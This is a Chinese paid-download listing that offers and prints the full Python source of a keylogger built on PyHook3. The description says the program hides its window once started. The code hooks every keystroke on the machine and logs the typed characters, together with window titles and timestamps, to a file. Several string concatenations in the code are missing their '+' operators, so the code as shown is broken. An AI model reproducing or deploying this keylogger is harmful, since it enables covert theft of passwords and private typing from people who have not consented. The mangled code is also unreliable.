基本信息
源码名称:键盘记录器(python源码,基于pyhook3)
源码大小:5.35M
文件格式:.rar
开发语言:Python
更新时间:2019-08-05
   友情提示:(无需注册或充值,赞助后即可获取资源下载链接)

     嘿,亲!知识可是无价之宝呢,但咱这精心整理的资料也耗费了不少心血呀。小小地破费一下,绝对物超所值哦!如有下载和支付问题,请联系我们QQ(微信同号):813200300

本次赞助数额为: 2 元 
   源码介绍
打开程序自动隐藏界面,进程里可以看到。记录文件保存在程序的所在目录下


# -*- coding: utf-8 -*-    
from ctypes import * 
import pythoncom  
import PyHook3
import win32clipboard  
import os,sys
import time
path=os.getcwd()
 
user32 = windll.user32  
kernel32 = windll.kernel32  
psapi = windll.psapi
current_window = None
 
# Fkey=["F1","F2","F3","F4","F5","F6","F7","F8","F9","F10","F11","F12"]
# 定义击键监听事件函数  
def OnKeyboardEvent(event):
    global current_window,path
    FileStr=""
     
    # 检测目标窗口是否转移(换了其他窗口就监听新的窗口)  
    if event.Window != current_window:  
        current_window = event.Window
        # event.WindowName有时候会不好用
        # 所以调用底层API喊来获取窗口标题
        windowTitle = create_string_buffer(512)
        windll.user32.GetWindowTextA(event.Window,
                                     byref(windowTitle),
                                     512)
        windowName = windowTitle.value.decode('gbk')
        FileStr ="\n" ("-"*50) "\n窗口:%s\n时间:%s\n"%(windowName,time.strftime('%Y-%m-%d %H:%M:%S'))
        #print("\n-----------------")
        #print("窗口名:%s"%windowName)
        # print("窗口ID:%s"%event.Window)
    # 检测击键是否常规按键(非组合键等)  
    if event.Ascii > 32 and event.Ascii <127:
        FileStr =chr(event.Ascii)
        #print(chr(event.Ascii),end=''
    else:
        if(event.Key=="Space"):
            FileStr =" "
        elif(event.Key=="Return"):
            FileStr ="[回车] "
        elif(event.Key=="Back"):
            FileStr ="[删除] "
    #写入文件    
    fp=open(path "/KeyBoardListen","a",encoding='utf-8')
    fp.write(FileStr)
    fp.close()
    # 循环监听下一个击键事件
    return True
 
# 创建并注册hook管理器  
kl = PyHook3.HookManager()  #
kl.KeyDown = OnKeyboardEvent
 
 
#写入日期   
fp=open(path "/KeyBoardListen","a",encoding='utf-8')
fp.write('\n\n' '#######################################'
     '\n#' ' '*9 time.strftime('%Y-%m-%d %H:%M:%S') ' '*9 '#'
     '\n' '#######################################')
fp.close()
# 注册hook并执行  
kl.HookKeyboard()
pythoncom.PumpMessages()